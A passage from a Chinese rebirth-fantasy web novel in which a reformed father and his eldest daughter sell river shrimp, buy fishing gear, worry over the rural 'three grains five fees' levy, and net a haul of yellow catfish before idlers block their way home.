江招娣咬了一口大虾,舌头一顶,吐出虾壳,鲜甜的虾肉混着浓郁的酱汁,好吃得她眼睛都眯了起来。 舍不得一口吃完,又夹了一只油炸虾放进嘴里,“咔嚓”一咬,又香又脆,连壳都嚼碎了咽下去。 老二江盼娣和老三江来娣没大姐那般本事,老老实实用手剥虾,吃得一口一个。 其他几个丫头,不会剥虾,便对着油炸小虾下手,吃得满嘴油光。 林月柔给几个小的剥了虾肉,这才夹了一筷子青菜。 清脆爽口,带着咸香的汤汁,跟昨天肉渣炒菜一样好吃。 多久没吃过这么好的饭菜了? 她偷偷抬眼看了看江涛,他正低着头,剥了一只虾,很自然地放进她的碗里。 “你也多吃点,别光顾着孩子。” 林月柔心头一暖,默默把虾吃了。 只觉得这两日像是做梦一般。 江涛不是没有好的时候。 刚结婚那两年,他也知道疼人。 但随着她一个一个生下丫头,他的脸色就一天比一天难看,脾气也渐渐坏了。 她只能忍着熬着,希冀着他哪一天能回头。 哪怕只是好上那么一点点,对她和孩子们有个笑脸模样,她都觉得这日子还有点盼头。 如今他似乎真的转了性,反而让她觉得不真实。 生怕哪天醒来,一切又都回去了。 江涛也给自己剥了一只油焖江虾。 不愧是野生江虾,肉是真紧,味儿是真鲜。 带着江河特有的那股鲜活气。 是个好东西。 剩下那些江虾待会拿去卖,又是一笔进账。 吃完饭,江涛想着这江虾得趁活的赶紧卖了。 只是家里就一个桶。 这么多虾挤在里头,只怕还没挑到乡里就得憋死一大半。 还是没经验,既打算靠打渔贴补家用,这该有的家伙事得置办齐全才行。 他找了个小碗,装了满满一碗炸得金黄酥脆的小虾,用一块干净的屉布盖上。 “我去铁牛家一趟,借个桶。” “爸爸,我跟你一起去。” 江招娣现在是爸爸去哪儿,她就跟到哪儿。 父女俩的关系非常融洽。 铁牛家离得不远,就隔着两户人家。 房子比江涛家还破,土墙裂了好几道缝。 铁牛他娘正坐在堂屋门口剥豆子,铁牛在门口整理芦苇杆子。 “铁牛婶,铁牛兄弟。”江涛打了声招呼。 铁牛擦了把汗,有些意外,“涛子,你咋来了?” “来还你钱,顺便想借个能装水的大桶用用。” 说着,江涛从兜里掏出那五块钱,又把手里的碗递过去。 “家里没啥好东西,这虾是上午捞的,炸了点给孩子当零嘴,拿点来给你和婶子尝尝。” 铁牛和他娘都愣住了。 铁牛看着金黄喷香的炸虾,又看看江涛,皱起了眉头,“涛子,你这……该不会是赢了钱买的吧?咱可不能……” “不是赌钱来的!” 江招娣在一旁脆生生解释,“铁牛叔,虾是我爸爸上午在江边捞的,用抄网捞的,可多了!我们自己都吃过了,可香了!” “真的?”铁牛看向江涛。 “真的,骗你干啥。” 江涛点点头,把碗又往前递了递。 “就一点心意,拿着。要不是你昨天那五块钱,我也买不到网。这情,我记着呢。” 听江招娣也这么说,铁牛这才放心接过了碗。 炸虾的焦香直往鼻子里钻,他忍不住咽了口唾沫,递给他娘,“娘,你尝尝。” 铁牛娘颤巍巍拿了一只放进嘴里,浑浊眼睛顿时一亮,“嗯,香,真香!” 看娘吃了,铁牛这才拿起一只放进嘴里。 “真香!涛子,你好本事!” “运气,运气。” 江涛摆摆手,把钱塞到铁牛手里,“这钱你收好。另外,我想借个桶……” “有,有桶!” 铁牛连忙把钱揣好,跑到屋后,不一会儿就拎出一个旧水桶,看着跟江涛家那个差不多大。 “涛子,你看这个行不?有点旧,但没漏。” “行,太行了!” 江涛一看就乐了,这桶装虾正合适。 “涛子,你借桶做什么?” “家里还有点江虾,想挑到乡里去卖。” “那把这个带上!” 铁牛转身又拿来一根光滑的竹扁担,“用扁担挑着,比你用胳膊提着省力多了。这桶装水装虾比较沉。” “哎呀,这……” 江涛没想到铁牛想得这么周到,心里暖烘烘的,“铁牛,多谢了!” “谢啥,乡里乡亲的。”铁牛挠挠头,憨厚地笑了。 江涛用扁担挑着空桶回到家。 林月柔跟其他几个丫头在自留地里拔草。 江涛想着不是什么重活,便没阻止。 其实,就算他阻止也没用。 没本事挣大钱,说再多好话都是白搭。 这个家眼下就是离不开她们娘几个的微薄劳力。 他将盆里的活虾连水舀进两个桶里,又加了些清水,保证虾有足够的活动空间。 扁担两头,一头一个水桶,挑起试试,果然稳当又省力。 “招娣,走,咱们再去乡里!” “爸爸,咱们要不要将个头大的虾挑一部分出来。” 江招娣忽然说道。 她想着,死鱼活鱼的价钱不一样,那大虾小虾的价钱也一定不一样。 分开卖或许能多卖点钱。 “哎呦,我的招娣真聪明。” 江涛心里又暖又酸。 想着以前自己对这几个丫头片子不闻不问,总觉得是赔钱货,哪里知道,有的女孩可比男孩心细聪明多了。 现在谁再跟他说赔钱货,他铁定跟谁急。 上辈子,自己也是猪油蒙了心,听信什么养儿防老,没儿子就是绝户的鬼话。 最后,让葛亚慧和宋二钻了空子,跟葛亚慧那女人搅和成了夫妻。 生的那野种,也被惯得无法无天。 后来,他在外面摸爬滚打,见的世面多了,发现好些有本事的大老板、大领导,家里生的大多是女儿。 女儿属水,是招财的,这在玄学上都是有讲究的。 可惜他有九个女儿。 当时要是能醒悟,好好待她们,指不定家里多富裕和美呢。 也不至于后来只做点小本生意。 葛亚慧母子见他老了,榨不出油水,产生不了价值,竟拔了他氧气管,那野种更是骂他老东西! 往事不堪回首。 江涛摇摇头,甩开那些晦气想法。 父女俩找来一个小桶,姜招娣小心翼翼地从水桶里挑出个头最大的江虾。 挑了一阵,小桶里装了有个一斤左右。 “爸爸,没想到大虾挑出来就这么一点。”姜招娣觉得有点少。 “没关系,这挑出来的可以送人。” “送人?” “你忘了,饭店那个管事,不是给你两个馒头吗?咱们啊,也要懂得人情往来,如此这生意才能做得长久。” 江涛语重心长。 上辈子吃亏就吃亏在不会做人,不懂得礼多人不怪的道理。 有来有往,关系才能处得长久。 人家东风饭店是稳定的大客户,今天送点心意,往后有货人家才会先想着收你的。 姜招娣似懂非懂,“这就叫……生意经?” “对,这是生意经,也是礼数。” 江涛笑着揉了揉女儿头发。 第12章 小福星 江涛挑着两桶江虾,江招娣拎着小桶,父女俩兴匆匆出了门。 刚走出村口,同样准备去乡里的村民李老四看见了他们。 李老四凑过来两步,“涛子,这两天你家怎么老是飘香味?不年不节的,怎么天天开荤?” 这年头,大家日子都过得紧巴,谁家要是做点荤腥,那香气能飘出去老远。 江涛家以前家境可以,偶尔吃顿荤的也正常,但最近几年却是穷得叮当响,村里谁不知道? 如今又闻着这味儿,自然觉得奇怪。 “没啥,就是在江里捞了点江鲜。这不,吃剩下的江虾准备去乡里卖掉。” 李老四这才注意到江涛挑的两个水桶里,密密麻麻都是青灰色江虾,个个鲜活肥壮,有的比手指还粗。 他眼睛都看直了。 都是江边住的人,谁不知道这野生江虾的鲜美。 “涛子,这虾怎么卖?” 李老四忍不住吞了吞口水。 “你要买?” 江涛看了他一眼,放下担子,“看在同村的份上,便宜给你,三块一斤。” “三块?” 李老四吓了一跳,“这价钱可不低,都够买两斤多猪肉了。” “我这虾新鲜,活蹦乱跳的,拿到乡里可不止这个数。” 江涛用扁担轻轻颠了颠水桶,里面的虾立刻“噼啪”一阵弹跳,“三块是友情价了。” “是啊,李叔叔,这虾可好吃了,油炸、油焖都行!”江招娣也在一旁帮着腔。 看着桶里鲜活的好货,李老四口水都快流下来了。 可想想囊中羞涩,咂咂嘴,“还是算了,太贵了。今年收成不好,马上又要交三粮五钱。唉,这手头紧哦……” 江涛也没指望他买,挑着水桶,带着招娣,和李老四一前一后往乡里走。 “涛子,宋二跟个野女人在乡里闹开了,这事你知道吧?” 李老四闲得没话找话。 “我不知道。” 江涛不想沾惹这些破事。 李老四本以为从江涛这能听到点内幕消息。 毕竟,江涛跟宋二好得穿一条裤子是人尽皆知的事。 但见他一副不想多谈的样子,觉得没趣,讪讪地闭了嘴。 几人闷头赶路,一个小时后到了乡里。 “我去办事,你们忙。” 李老四说完,朝另一个方向走了。 江涛挑着水桶,带着江招娣,熟门熟路地绕到了东风饭店后厨的小院门口。 放下扁担,上前敲了敲小院门。 开门的是上次那位系着白围裙的老师傅。 他一看是江涛父女俩,“呦,又是你俩?今天又捞着什么好货了?” “老师傅。” 江涛将一块钱不着痕迹地塞到他手里,“是点江虾,您看能不能再帮我递个话,麻烦您了。” “哎,你这是干啥?” 老师傅是个老实人,连忙往回推,“这可使不得,递个话的事儿……” “老师傅,” 江涛手上加了点力道,“天热,让您跑腿受累,买瓶汽水解解渴。上次多亏您,这点心意您一定收下。规矩我懂,不能让您白辛苦。” 老师傅还想推脱。 这时,院里传来一阵脚步声。 他脸色一变,想抽手,江涛却顺势松开,那一块钱便留在了他手里。 “老顾,谁啊?咦,是你们?” 上次的管事出来了。 老师傅心里一咯噔,这下完了,要被管事的知道他收好处,可怎么办? 他把手往围裙下藏了藏。 “蒋管事,是昨天送鱼的老乡,今天又弄了些江虾,看着挺新鲜,想让您过过眼。” “江虾?” 蒋管事来了兴致,走近几步看向那两水桶。 用脚一碰,桶里的江虾活蹦乱跳的。 “嗬,这虾精神!个头也不小。正好今天有上面来检查的领导,这野生的江虾可是时鲜货。行,收了!” “叔叔,” 江招娣提着装了一斤大虾的小桶走上前。 “谢谢你昨天给我的大馒头。这是我今天特意挑的最大的虾,送给你尝尝,是我们家的一点心意。” “这……” 蒋管事一愣,低头看向这个瘦小的丫头。 眼神干净,脸上带着真诚的感激,没有一丝谄媚讨好。 他心里一阵惊奇。 这小丫头,才多大点,居然这么懂人情世故? “你这丫头,倒是有心。行,叔叔谢谢你这份心意,虾我收下了。” 旁边,顾师傅心里石头落了地。 这下好了,管事的也收了东西,那他一块钱应该没事。 “老顾,帮他们过秤吧。” 蒋管事大手一挥,“这虾不错,按……七块钱一斤算!” “哎!好嘞!” 顾师傅麻利地拿出秤来。 这价钱,比平时收购价可高了不少,看来蒋管事是真高兴了。 两个水桶的江虾去水倒进篮子里过称。 称得十三斤六两,篮子重量也没剔除。 七块钱一斤,算下来九十五块二角。 接过蒋管事递过来的钞票,江涛只觉得手里沉甸甸的,心里也热乎乎的。 九十五块多,抵得上普通工人快三个月的工资了! 这可真是笔巨款。 江招娣眼睛亮晶晶的,小声对蒋管事说:“谢谢叔叔。” “不用客气,” 蒋管事脸色和蔼,“下次有什么好货,还让你爸爸送过来,只要东西好,价钱好说。” 说完,他又转身对顾师傅说,“老顾,拿盒烧麦给这丫头,我看她挺懂事。” “哎!” 顾师傅很快拿来一个油纸包,塞到江招娣手里。 “这怎么好意思?刚才还……” 江涛没想到不仅多给了虾钱,还得了回礼。 顾师傅笑道:“拿着吧,这是给孩子的。蒋管事说了,下次有好东西都送到这儿。” “一定,一定!” 江涛连声答应。 看来这东风饭店的蒋管事和顾师傅都属于性情中人,跟他们做生意不会吃亏。 不过,招娣还真的是他的小福星。 没有她,很多事都不会这么顺当。 想想上辈子自己对她们母女那般混账,江涛心里又是惭愧,又是庆幸。 好在老天爷给了机会让他重来,这回,他一定要把这份福气稳稳握在手里。 “爸爸,接下来我们回去吗?” 离开东风饭店,江招娣提着油纸包,里面的烧卖还热乎着,香气丝丝缕缕地往外钻。 但她舍不得吃,想着赶紧回去给妈妈和妹妹们尝尝鲜。 “先不回去,再去杂货铺买点米面。” 江涛心里飞快地盘算着。 现在手里这次卖虾和上次卖鱼剩下的钱加起来有一百一十块了。 这可是一笔从前想都不敢想的巨款。 家里的口粮可不能缺了,几个丫头都是长身体的时候,可不能像以前那样饥一顿饱一顿。 另外,打渔的一应装备也得置办。 现在天气不冷,下水没事,但总不能老是湿着裤腿干活。 得买套水衣水裤。 毕竟,身体是革命的本钱。 还有装鱼虾的水桶,扁担都要买,总不能老是借别人的。 第13章 三粮五钱 父女俩来到老王杂货铺。 王老板正整理货架,听见脚步声扭头一看,又是江涛父女俩。 这混子,怎么天天往这儿跑? 昨天不才买了十斤米十斤面,还有一堆油盐酱醋吗? 手里又阔绰了? 难不成又跑去赌? 可看他带着孩子,又不太像。 毕竟,哪个赌鬼会拖家带口的去耍钱? “王老板。”江涛笑着打招呼。 “江涛,招娣,要点什么?” 王老板拍拍手,从柜台后绕了出来。 “买点米面,再置办点东西。” 说着,江涛将扁担和水桶放在门口。 “行,你看看,要多少。” 王老板上下打量江涛。 精神饱满,不像往日醉醺醺的邋遢样,估计干什么正经营生挣着钱了。 上次听他说要捕鱼,难不成真收性子,踏实过日子了? “这次,给我来二十斤大米,二十斤面粉,家里丫头多。再来五斤菜籽油,酱油、盐、红糖,煤油、火柴也各添一份。另外,料酒来一瓶。” “对了,有什么零嘴来一点,给孩子解解馋。” 江涛这次有扁担,可以多买一点。 王老板心头一跳。 嗬,还是一笔大生意! 看来这干的营生还挺挣钱。 他一边利落地拿秤装货,一边飞快地算着账。 “大米一毛八一斤,二十斤是三块六。 面粉一毛九一斤,二十斤是三块八。 菜籽油九毛一斤,五斤是四块五毛。 酱油一毛五,盐一毛八,红糖两毛。 煤油三毛五一斤,三斤就是一块零五分。 火柴两毛,料酒三毛。 桃酥来一斤半,算一块二。 加起来总共是十五块两毛零三分。 给你抹个零,给十五块就成。” 江涛痛快从兜里掏出一张大团结和五张一块的女拖拉机手递过去。 “王老板,你这有没有能下水干活穿的水衣水裤,还有装东西的桶,再给我来一副结实点的扁担。” 这小子,看来真靠打渔挣着钱了。 “有,有!你等着,我去后面拿。” 不一会儿,王老板抱着一套厚水衣水裤出来,又拎出两个塑料桶,还有根光滑的黄竹扁担。 “这水衣水裤,我去年进的,就是款式旧点,便宜给你,算八块钱。 这塑料水桶,轻便耐用,一个一块二,两个两块四。 扁担是好黄竹的,一根五毛。 这几样加起来是十块九毛,给你去个零头,十块五毛。” “行,都要了!” 江涛又数出十块五毛递过去。 置办下这些,以后干活就方便多了。 王老板把东西一一搬到门口,看着江涛把一应物件分成两份绑好。 “江涛,这是干什么营生了?” “靠江吃江,靠海吃海,” 江涛接过话茬,“在江边弄点鱼虾,混口饭吃。” “这个好,只要能吃苦,总比在外头瞎混强。” 王老板点点头,犹豫了一下,开口道,“看架势你这得经常往乡里跑了,挑着担子多累。 手里要是宽裕,不如添辆自行车。 你看你现在这又是米又是面的,还有这些东西,有辆自行车可省力多了,来回也快。” 江涛心里一动。 是啊,自行车! 他之前就想过,有辆车可太方便了。 而且,不止自行车,手表也得尽快买一块。 每日情报都带着时辰,今天早上要不是招娣机灵,差点就错过了。 没有手表看时间,实在是不方便,万一哪天情报提示的时间紧,错过了可就亏大了。 但一辆新自行车大概要一百五六十块。 他这点钱远远不够,不过倒是可以留意着二手的。 至于手表,上海牌全钢的得一百二左右。 但这是必需品,得尽快安排。 “王老板,您说得对,是该置办辆自行车,方便。手表也得弄一块,干活看时辰。您这儿有门路不?二手的也行,靠谱就成。” 王老板想了想,“自行车我帮你留意着,有消息告诉你。手表我有个亲戚在县里百货公司,回头帮你问问。不过这些东西,可都不便宜,你得把钱攒足了。” “哎,谢谢王老板!有信儿您一定告诉我。” 江涛真诚道谢。 有了目标,心里干劲更足了。 他把所有东西都归置好,扁担一头挑一份。 原来借铁牛的扁担就让招娣拿着。 “招娣,咱们回家!”江涛挑起担子,招呼女儿。 “哎!” 江招娣一手拿着扁担,另一手提着烧卖,还有爸爸给买的桃酥,快步跟了上去。 父女俩拐到猪肉摊,割了五斤肉,这才往家走。 路上碰到几个村民,见他挑着满满当当的米面,还有猪肉,都投来异样的眼光。 “哟,涛子,买这么多东西,这是又赢钱了?” “啧啧,不过日子了这是?有点钱就这么大手大脚!” “人家来钱轻松,自然大手大脚,哪像咱们土里刨食的,一分钱恨不得掰成两半花!” 江涛懒得跟他们计较。 日子是自己的,跟他们扯什么闲篇呢? 江招娣还想回头跟人分辩几句,但被江涛用眼神轻轻制止了。 回到家,几个丫头正围着鸡窝看鸡下蛋,一见江涛挑着这么多东西回来,都欢呼着围了上来。 “爸爸!这么多东西!” 林月柔也从灶间出来,一看这阵仗,又是开心又是心疼,“怎么又买这么多东西?这得花多少钱啊?” “都是家里过日子要用的必需品,没乱花钱,你不用太节省。” 江涛放下担子,擦了把汗。 “我知道。” 林月柔走过去帮忙收拾,“可这眼看麦子要收了,收了就得交三粮五钱,家里账上还没着落呢,有钱也不能这么造啊。” “三粮五钱?” 江涛一愣,这才想起这茬。 对了,每年麦子收上来,就得交公粮、购粮、统筹粮,还有农业税、村提留、乡统筹、公积金、公益金了,统称“三粮五钱”。 这是压在农民头上最重的一笔负担。 以前他不管家里这些琐事,都是林月柔一个人硬撑。 “咱家今年要交多少?” “咱家那几亩地的收成,还有人头算,今年得交一百二十多块呢。”林月柔很是忧愁。 “这么多?!” 江涛也吓了一跳。 他知道这笔钱不少,但没想到要这么多。 这可是一个普通工人三个多月的工资! 今天卖虾得了九十多块的狂喜,瞬间被冲淡了大半。 难怪上辈子林月柔和孩子们最后被逼得走投无路。 他搬到乡里跟葛亚慧鬼混不种地了,自然不用交这笔钱,压根不知道林月柔一个人扛着这么重的担子。 现在真切感受到其中的沉重,一股强烈的懊悔和心疼涌上心头。 上辈子真是混蛋。 家里这么大的事,他竟从没放在心上。 “没事,月柔,” 江涛深吸一口气,“这笔钱我来想办法。现在手里还有点,不够的我再挣。以后这些事都交给我,你别再一个人发愁了。” “好。” 林月柔没想到江涛会主动将这副担子接过去。 以往每次提到三粮五钱,他不是不耐烦让她自己想办法,就是醉醺醺地骂骂咧咧,怪她只会生丫头片子拖累他。 如今,这短短两日,一切都像在梦里。 第14章 黄颡鱼 晚饭做的是面条。 毕竟,林月柔攒了两顿的面粉擦油花,再不吃面粉也会变质。 江涛虽有些膈应,但也是因为自己没本事挣大钱,家里一应吃穿用度缺口太多,也就没有吭声,将就着吃了。 所幸买的猪肉切了小半斤肉丝,和着自家地里种的青菜还有大蒜一炒,拌进面条里,油水足,滋味也香。 一家人吃得肚子圆溜溜的。 这次也没立刻睡觉,到外面散散步消消食,顺便将借铁牛家的扁担和水桶还了。 当然,也带了一小块肥肉送给铁牛熬油。 现在五月初,夜里不凉不热,晚风吹在脸上舒舒服服的。 月光皎洁,几个丫头在乡间小路追逐嬉闹,江涛和林月柔就在后面看着,心里难得的安闲。 到了铁牛家门前小路。 看到铁牛还在整理芦苇杆子,他娘就着月光在旁边编苇席。 江涛提着肥肉,以及水桶和扁担走过去,“铁牛,我来还你东西。今天多谢你了。” “客气啥。用上了就好。” 铁牛愁眉苦脸的。 “怎么了,铁牛,愁眉苦脸的?” “唉,” 铁牛娘叹了口气,“还不是为了那三粮五钱。今年又涨了,咱家得交将近一百。 铁牛白天伺候地,晚上就割点芦苇,编点席子卖给乡里的草编厂,换几个零钱贴补。 可这钱还是不够,愁人哪。” “是啊,” 铁牛闷闷道,“芦苇不值钱,一斤晒干的才一分五,攒这点钱不容易。可眼瞅着麦子快黄了,愁得慌。” 江涛听了心里不是滋味。 农民的日子太难。 收入本就不高,一年忙到头还要上交三粮五钱。 手里剩下的也就能糊口了。 他拍了拍铁牛的肩膀,“别急,总能想到办法的。我这几天也想着能不能多弄点鱼虾。你也别太熬着,身体要紧。” 说着,将那一小块肥肉递了过去。 “这块肉拿着熬点油,多少添点荤腥。日子慢慢来,都会好起来的。” “涛子,这怎么能行呢?” 铁牛连忙推拒。 铁牛娘也急得直摆手,“使不得,使不得,你家也难……” 江涛按住铁牛的手,“拿着!是不是兄弟?以往你没少接济我家,月柔,你说是不是?” 林月柔在一旁附和,“是啊,铁牛兄弟,你就收下吧。今天要不是你借桶,涛子那虾也不好卖。一点心意,别推了。” “兄弟?” 铁牛心里暖暖的。 看着手里的肥肉,眼眶有点发酸。 江涛仗着祖上出过大人物,一向对旁人眼高于顶,村里哪个不是羡慕嫉妒恨? 后来被宋二拉下水,江涛成了滩扶不上墙的烂泥。 铁牛觉得可惜,时不时帮衬一把,心里从没奢望过能得他什么回报。 如今见他真转了性,还知道记着人情,这比什么都让人高兴。 闲扯了几句家常,江涛便带着林月柔和孩子们回去了。 明天有活干,得把精神头养足了。 躺在床上,江涛脑子里还想着铁牛家的困境。 将近一百的三粮五钱,不是个小数目。 可他自己也还背着这笔债,眼下实在是爱莫能助,不过等以后手头宽裕了,能拉一把肯定是要拉一把的。 明天又有什么情报呢? 江涛心里有些期待,在期待中迷迷糊糊睡着了。 第二天一早,江涛是被一阵米粥的香味唤醒的。 林月柔已经起床,用新米熬了稠稠的白粥。 蒋管事给招娣的烧卖,也上锅蒸得热乎。 一家人围着灶台,吃了顿踏实又美味的早饭。 江涛精神十足,收拾好水衣水裤、撒网、抄网、水桶等一应打渔的工具,等着每日情报出现。 可左等右等,脑子里却一片安静。 他有些纳闷,难道今天起得太早了,情报还没刷新? 正疑惑间,一行字迹清晰地在他脑海中浮现出来。 【每日情报:今日巳时到午时,老渡口东侧回水湾沉船处,有一大群黄颡鱼聚集。】 终于来了。 江涛一阵激动。 老渡口不在江边,而是在一处废弃的内港内。 早年为避风浪,便于货船停靠装卸,从江边向内陆人工开凿引进了一段水道。 只不过后来年久失修,淤泥沉积,水位变浅,大船进不来,功能就慢慢废弃了。 新的渡口改到了现在江边水深开阔的地方。 “爸爸,咱们今天还去江边吗?” 江招娣也收拾停当,提着小桶,一脸期待地看着他。 “今天不去江边,咱们去老渡口那边,那里有好东西。” “那咱们快走吧。” 江招娣一脸跃跃欲试,活像个地下工作者要去接头。 见状,老二江盼娣和老三江来娣也吵着要去。 但江涛考虑到她俩年纪小,水边危险,还是想让她们在家。 “不行,那边水深不安全,你们还小,就在家陪妈妈。” 可惜这两个家伙,因为江涛最近和气了许多,人小没胆,已经不怎么怕他了,拉着爸爸的衣角不撒手,哼哼唧唧地磨人。 最后,还是江招娣发挥出血脉压制,拿出大姐的派头。 “你俩在家照顾妈妈和妹妹!等姐姐回来给你们带好吃的,听见没?不许闹了!” 被大姐这么一瞪,两个小丫头才不情不愿地松了手。 江涛和江招娣这才能够顺利出门。 走在乡间小路上,闻着泥土和油菜花混合的清香,听着鸟叫,江涛只感觉浑身是劲。 每日情报说是一大群,也不知道究竟有多少。 这黄颡鱼可是好东西。 肉质细嫩鲜美,没什么小刺,配上豆腐一炖,味道顶呱呱。 不光能吃,听说还能当药膳。 营养丰富,价钱也不便宜,估计能卖上个三四块一斤。 江涛跟江招娣一前一后走在路上,自然引起不少人的注意。 几个闲汉在村里小卖部门口闲扯,看见他们又嘀咕起来。 “这混子改性了?天天背着渔网好像哪儿有鱼等着他捞似的?” “八成是穷疯了,想靠这个糊口呢。” “哈哈,他要能靠这个发家,我家那老母猪都能上树了。” 江涛很是无语。 这些人也太不讲究了。 背后说人闲话都不会,就差指着人鼻子骂了。 以往自己被人挤兑,多半赔笑凑过去,好像这样显得合群,不被他们孤立。 可这次他不会了。 重活一回才看明白,这些人不过都是纸老虎。 他们的底气就是看你弯了一次腰,觉得你会一直跪着。 他转过身,目光直直看向那几人,“说谁呢?谁家母猪要上树了?” 那几个闲汉没想到江涛会直接问过来,一时都愣住了,表情讪讪的,互相看了看。 “哎呀,涛子啊……” 其中一个脸皮厚些,干笑两声,“没啥没啥,说别人家呢,说着玩呢,别介意,别介意。” “哦,说着玩呢。” 江涛脸上露出当混子时似笑非笑的神情,眼神在几人身上扫了一圈。 “我还以为你们是看我江涛不顺眼,在背后编排我呢。” 他这副模样摆出来,几个闲汉心里都是一咯噔。 他们虽然背后嚼舌根,可当面还真有点怵江涛以前那副浑不吝的样子。 万一他发起混来动手,那可划不来。 “没没没,哪能呢!咱们就随口一说……” “是啊是啊,涛子你这是要去忙吧?快去吧,不耽误你正事。” 几人连忙摆手,脸上挤出笑容。 “行,你们继续玩。” 江涛扯了扯嘴角,带着江招娣转身走了。 呵呵,当个别人眼里的混子,反而能省去不少麻烦。 看着父女俩走远,几个闲汉才松了口气,互相看看,都有些恼怒刚才示弱。 “呸,吓唬谁啊。” “你还别说,他刚才那眼神,还真有点瘆人。” “有什么好吓人的?!” 宋二脸上带着几道抓痕,冷不丁冒出来,“等乡里收三粮五钱有他哭的时候!” “可看那架势,他好像真改性了。” “光改性有啥用?没本事一样喝西北风!” 宋二神情鄙夷,“他家那几亩地,草长疯了也没见他拔一根,还不是靠他老婆孩子撑着?哼,之前打了几条鱼,不过踩了狗屎运。” “对,踩狗屎运了。这种事哪能天天有?你们就看吧,这混子最多三天就不行了,又得原形毕露!” 小卖部老板心里也不爽。 这两天,江涛大包小包的也不知道照顾他家生意。 “没错没错,等着瞧好了!” 几个闲汉被宋二这么一说,莫名又有了底气。 要知道江涛跟他们一样,是滩扶不上墙的烂泥! 凭什么他能抖抖身上泥点子,装模作样地爬起来,还想走上岸去过干净日子? 要烂,大家一起在泥坑里烂透好了。 宋二摸摸脸上火辣辣的抓痕,眼神阴沉地看向江涛父女远去的方向。 葛亚慧为何突然对他发难,还把事情闹大? 多半就是江涛在里面说了什么,撺掇的! 哼,此仇不报非君子! 第15章 抢鱼 老渡口所在的内港。 从江边往内陆延伸,大约一里多地。 江水涨潮时,内港也是水面宽阔。 可等到外江退潮,里面的水跟着泄走大半,很快就变得浅浅一汪。 江涛带着女儿赶到老渡口东侧回水湾时,眼前是个因退潮而形成的大水潭。 有条破木船半沉半陷,大半船身斜斜浸在水里。 周围大片河床都已干涸,露出龟裂的淤泥。 这倒省事多了。 要是整个内港水势浩大,他也没本事下去。 每日情报说,这里有一大群黄颡鱼。 江涛凝神往水潭望去。 浅水之下,果然看到一簇簇深黄色的影子,正慢悠悠摆着尾,搅动着水底的细沙。 想来是涨潮随着大水游进来觅食,潮水一退,没来得及游走,被困在了这处水洼里。 “爸爸,好多鱼啊!” 江招娣兴奋得小脸通红,指着水里那一片晃动的影子。 “你看,那儿那儿都有!” 江涛也是非常激动。 这比昨天看虾的场面可壮观多了。 父女俩赶紧将一应工具放下。 这水潭不大,用撒网比较合适,只是那艘沉船的木架子横七竖八,却容易挂网。 江涛换上水衣水裤,试着下水。 还好,水只没到他大腿根部,水底是厚厚的软泥,踩上去倒也没陷脚,估计是有什么木板垫着。 他将几根比较碍事的船板拆下来,扔到岸上。 这些晒干了,也能当柴火烧。 还好这些船板早已腐朽,不算太重,也比较容易拆。 很快,水潭便被清理掉一片,露出一块相对空旷的水面。 这样撒网就方便多了。 江涛站到水边,估摸了一下距离和方位,手腕一抖,手中撒网旋转着张开,在空中划出一道漂亮的圆弧。 “哗啦”一声罩入鱼群最密集的区域。 网还没完全落底,就被什么东西扯得向下一坠。 好家伙,分量不轻! 他心里一喜,赶紧往回拽。 可这浅水边的淤泥太软,脚下用不上力。 刚才下去清理是踩着几块沉木借了力,现在赤脚站在泥里,一使劲就往下陷。 “爸爸,加油!” 江招娣在岸上攥着小拳头打气。 可江涛脚下使不上力,那网却像被水底什么东西吸住了一样,只往回拖了不到一半,就再也拽不动了。 “招娣,把岸上那几块大点的板子扔过来!” 江招娣连忙照做。 几块厚实的船板垫上,踩上去稳当多了,他这才一点一点往回拽网绳。 “哗——哗啦——” 水花剧烈翻腾,沉甸甸的渔网终于被拖出水面。 放眼望去,全是扭动挣扎的黄颡鱼! 深黄带黑斑的鱼身挤在一起,背鳍和胸鳍上的硬刺根根竖起,看得人头皮发麻,却也心头火热。 大丰收啊! 江涛心头火热,一鼓作气将这一网拖到岸上。 解开网,黄颡鱼噼里啪啦乱跳。 粗略估算,这一网怕不得有二十斤! “爸爸,太厉害了!” 江招娣欢呼着跑过来帮忙捡鱼。 江涛精神大振,再次下网。 有了垫脚的木板,撒网收网顺利许多。 如此,又撒了两网,直到水潭里鱼影几乎不见,他才收了手。 带来的两个大水桶装得满满当当。 姜招娣的小桶同样如此,但还是多出来一堆,江涛最后只好用渔网兜着。 粗粗一算,这五六十斤是跑不掉了。 “走,回去吧!这些船板下次过来拿。” 江涛直接穿着水衣水裤,扁担一边挑着两桶鱼,另一边挑着渔网兜着的一堆黄颡鱼。 江招娣拿着其他工具,提着她自己带的小桶。 父女俩飞快地往村里赶。 黄颡鱼相比江鲢皮实些,但离水时间长了也会死。 而且,它还不比江鲢死了也能卖上价钱。 黄颡鱼鱼小,吃的就是一股鲜活气。 父女俩走到村口时,天上日头正当中。 村里家家户户都升起了炊烟,妇女们忙着做午饭。 地里干活的男人,拖着疲惫的身子往回赶。 眼看麦子就能收割了,可今年收成看着实在不好,不少村民脸上都带着愁容。 小卖部门口,几个闲汉还在那晃荡。 他们得了宋二给的五块钱,正商量着等会儿去哪喝顿劣酒。 见江涛挑着担子回来,渔网里满满都是黄颡鱼。 几人眼睛瞬间就直了。 “哟,涛子,你这是干嘛去了?”一个闲汉明知故问地凑过来。 “这么多鱼?你这是掏了鱼窝子了?”另一个也舔着大脸靠近。 “在哪儿弄的啊?运气也太好了吧!” 江涛懒得搭理他们,只想赶紧回家把鱼养在清水里。 “没什么,让让路。” 说着,带着江招娣就要快步绕过去。 可几个闲汉得了宋二好处,本来见了江涛就要找茬。 现在又看到这么多鱼眼热,哪里肯轻易让开。 他们故意挡在路中间,嬉皮笑脸地当起了拦路狗。 “涛子,别急着走啊。这么多鱼,让兄弟们也瞧瞧,沾沾喜气嘛。” “就是,见者有份,分咱们两条尝尝鲜?” 这一嚷嚷,把刚下地回来的村民和几个在家门口择菜的妇人也吸引了过来。 大家一看江涛这收获,顿时一片哗然。 “我的天,这么多黄颡鱼!” “江涛这小子,真是走了狗屎运了!昨天虾今天鱼!” “这下他家那三粮五钱肯定不愁了,把这些鱼卖了,怎么也该够了吧?” “是啊,快让他回去吧,鱼死了就不值钱了。” 有好心的村民劝那几个闲汉。 “行了行了,别挡道了,让人家赶紧回去。鱼死了你们赔啊?” 可那几个闲汉收了钱,又仗着人多,根本不让。 “急什么?涛子,咱们乡里乡亲的,弄到这么多好东西,不意思意思?” “就是,涛子,以前有好处,你可没忘了兄弟们。” 宋二突然冒出来,脸上带着不阴不阳的笑容。 “滚!” 江涛看见他就烦,自然没什么好脸色。 宋二不以为意,“涛子,现在发财了,也不能一人吃独食啊。 